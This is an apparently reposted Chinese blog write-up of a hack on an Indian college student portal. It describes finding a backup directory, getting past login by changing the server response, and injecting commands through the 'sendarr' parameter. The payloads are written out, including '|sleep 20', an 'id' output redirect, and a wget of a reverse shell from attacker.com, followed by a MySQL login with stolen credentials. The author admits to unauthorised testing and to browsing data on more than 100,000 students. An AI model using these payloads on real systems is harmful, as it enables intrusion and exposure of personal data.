要挂科了?那就黑一下教务处系统吧…

admin 2026-04-02 04:19:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细描述了一次针对学生门户网站的渗透测试过程。作者通过信息收集发现了一个名为/bkp的备份目录,并利用响应篡改攻击绕过身份验证,进入管理面板。随后,通过对POST参数进行模糊测试,发现了一个远程代码执行(RCE)漏洞。攻击者最终获得了服务器的反向Shell,并在数据库中找到了包含全国超过10万名大学生数据的敏感信息。作为一名负责任的白帽黑客,作者将此漏洞报告给了学院院长。 综合评分: 85 文章分类: 渗透测试,WEB安全,红队,应急响应,漏洞分析


cover_image

要挂科了?那就黑一下教务处系统吧…

原创

玲珑安全 玲珑安全

玲珑安全

2025年3月11日 08:44 福建

关注公众号,阅读优质好文。

正文

有一天,我向老师询问我的考勤分数,希望从她的登记本中查看。但她拒绝了,说:“不,自己去学生门户上查。” 没再多问,我回到房间,打开笔记本电脑,登录门户网站。

在查看考勤的同时,我脑海中突然冒出一个想法:“如果我能黑进这个系统呢?”老师的拒绝加上我的考勤分数(我出勤不足)激发了我的黑客思维。此刻,我的唯一目标就是攻破这台服务器,别无他念。于是,我开始了测试。

这是一个被印度许多大学和学院广泛使用的网站,用于管理学生记录、成绩单、考勤、试卷等。该网站仅允许学生和教师登录,因为注册时需要提供有效的学院注册号。

此外,该系统还有一个移动应用,使用相同的后端服务。

按照惯例,我首先进行信息收集,使用 Subfinder、Assetfinder、Amass、crt.sh、ffuf 等工具,尽可能挖掘目标的所有子域名和子子域名。我把目标的域名存入一个名为 “scope” 的文件,并在其上运行这些工具。

但遗憾的是,我没有找到任何有趣的子域名。

该门户网站本身就是一个子域名,例如:studentportal.example.com。因此,我转向了下一步——目录扫描。

我最喜欢的目录扫描工具是 FFUF,它快速且可靠,专为扫描任务而生。因此,我运行了以下命令:

ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302

然后让它运行了一分钟左右。

我发现了一个有趣的目录:/bkp。

我立刻停止了扫描,迅速访问 /bkp 端点。果然,我找到一个页面——备份门户的登录页面。

当时我的内心只想说:“找到突破口了!”

于是,我开始尝试所有可能的默认凭据组合,不断地进行登录尝试,但都失败了。接下来,我正式启动攻击链。

你可能会好奇,这里的“部分”身份验证绕过是什么意思?在解释之前,我先展示我是如何绕过身份验证的。

我启动 BurpSuite 进行拦截,并使用随机凭据进行尝试。现在,我可以看到发送出去的请求,以及其中包含的我输入的数据。

在响应中,我看到服务器返回了 “failure”,这表明登录验证在客户端侧起到了关键作用,这意味着可能存在响应篡改攻击(Response Manipulation Attack)的可能性。

于是,我查看了客户端代码,发现如果登录成功,服务器会返回待备份的数据,并将用户重定向到一个面板,该面板会显示从登录返回的数据库名称。

由于我不知道服务器上存在哪些备份,我尝试将返回的 “failure” 修改为 “success”。

请求返回 200,并直接向 /bkp/connect.php 发送请求(connect.php 用于在后端登录 MySQL 数据库)。

我发现自己已经登录到管理面板!

但这里存在一个问题:

数据库名称被显示为 ‘s’, ‘u’, ‘c’, ‘c’, ‘e’, ‘s’, ‘s’,也就是说,每个字母都被当作一个数据库名称。

这意味着我无法看到真正的数据库名称,但如果我知道数据库名称,我仍然可以使用备份功能。

在面板中,我注意到一个名为 “Backup” 的按钮。

这个按钮的功能是将选定的备份数据打包成 ZIP 文件并下载。

点击 Backup 按钮后,它会向 /bkp/backup1.php 发送 POST 请求,其中包含一个参数 “sendarr”,该参数存储了要备份的数据库名称。

于是,我对 sendarr 参数进行了 Fuzzing(模糊测试),大约测试了 10-20 分钟,最终发现了一个重大突破。

当我将 sendarr 的值设置为 %00(空字节,Null Byte)时,服务器崩溃,并返回了一个有趣的错误响应。

我发现后端使用了 exec() 函数来处理备份操作。

exec() 是 PHP 中的一个函数,它可以用来从 PHP 文件执行系统命令。

看到这个返回让我非常兴奋,因为这表明服务器在处理备份时使用了 exec() 命令。于是,我立即尝试注入一个执行 20 秒延迟的 Payload,以测试代码执行能力。

我使用了以下 Payload:

sendarr=|sleep 20

在 Bash/Linux 终端中,|(管道符)用于将一个命令的输出传递给另一个命令,起到命令链接的作用。

那么,在后端执行的命令可能会变成:

./backup.sh | sleep 20

这意味着,在运行 backup.sh 之后,它会执行 sleep 20 命令。

我发送了请求,BOOM!! 服务器在 20.6 秒后才响应请求。

这证明存在远程代码执行(RCE)漏洞!

不过目前它仍然是盲 RCE,也就是说,我无法直接看到命令的输出。

为了获取可见的证据,我需要让服务器执行命令并把输出写入可访问的文件。

我发现网站的根目录位于:

/var/www/html

所以,如果我能把执行命令的结果写入 /var/www/html/out,我就可以直接在浏览器中访问 /out 来查看结果。

于是,我尝试了以下 Payload:

sendarr=|id>/var/www/html/out

这个 Payload 执行了 id 命令,并将结果重定向到 /var/www/html/out 文件中。

接着,我访问 /out 页面,成功获取了服务器上的执行结果。

现在我已经成功获得了代码执行权限,于是我编写了一个简单的 Python 脚本,用于与服务器进行交互,就像一个远程 shell 一样。

为了深入控制服务器,我使用了 PentestMonkey 提供的反向 Shell(Reverse Shell)。

我首先在攻击者机器上托管了反向 Shell 文件,然后使用以下 Payload 将其下载到目标服务器:

sendarr=|wget https://attacker.com/rev.php

这个命令会将 rev.php 反向 Shell 文件下载到网站的根目录。

接下来,我启动 Netcat 监听,然后访问 /rev.php,以执行反向 Shell 脚本,成功获得了服务器的Shell 访问权限。

现在我已经成功进入了服务器。那一刻,我既兴奋又紧张。

内心的黑客冲动让我想要深入浏览服务器文件,寻找敏感信息。

在服务器中,我发现了各种程序文件,它们暴露了许多关键功能,例如:学生数据管理系统、成绩单生成程序、向数据库添加学生成绩的程序、用于插入考勤数据的程序、支付处理系统等等。

正当我继续搜索时,我终于找到了最重要的文件……

一个名为 consts.php 的文件,它包含了 MySQL 数据库的凭据,这些凭据可以让我直接登录数据库。

毫不犹豫,我立刻尝试使用以下命令登录到 MySQL 数据库:

mysql -h servername.rds.amazonaws.com -u username -p

在数据库中,我发现了许多不同大学和学院的数据库。我找到自己所在的学院,并开始查找考勤、入学、成绩等数据,最终……

这里是我发现的数据的一些截图:

作为一名负责任的白帽黑客,我不会尝试更改/删除/添加数据库中的任何数据。

这个数据库存储了全国超过 100,000 名大学生的数据,影响范围相当巨大。于是,我将这个漏洞报告给了学院院长,他随后将其转交给了该服务提供商的 IT 团队。

培训咨询v

bc52013

linglongsec

SRC漏洞挖掘培训

玲珑安全第一期SRC漏洞挖掘培训

玲珑安全第二期SRC漏洞挖掘培训

玲珑安全第三期SRC漏洞挖掘培训

玲珑安全第四期SRC漏洞挖掘培训

玲珑安全第五期SRC漏洞挖掘培训

往期漏洞分享

$15,000——通过持久token获取个人PII信息

通过JWT的IDOR实现账户接管

我是怎么挖到NASA上的P1漏洞的?

在Google漏洞追踪系统中获得15600$赏金

账户接管+PII+原漏洞绕过

Zoho帐户接管

价值$40000:从路径遍历升级至RCE

分享两个漏洞,含$3133 Google IDOR

通过监控调试模式实现价值$15k的RCE

玲珑安全B站公开课

https://space.bilibili.com/602205041

玲珑安全QQ群

191400300

玲珑安全交流群


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:玲珑安全 玲珑安全 玲珑安全《要挂科了?那就黑一下教务处系统吧…》

【国企招聘】网络安全岗 网络安全文章

【国企招聘】网络安全岗

文章总结: 文档包含两部分核心内容:一是广东粤数网络建设有限公司的网络安全岗等职位招聘信息,包括岗位名称、报名方式与截止时间(2026年4月7日)等;二是网络安
评论:0   参与:  0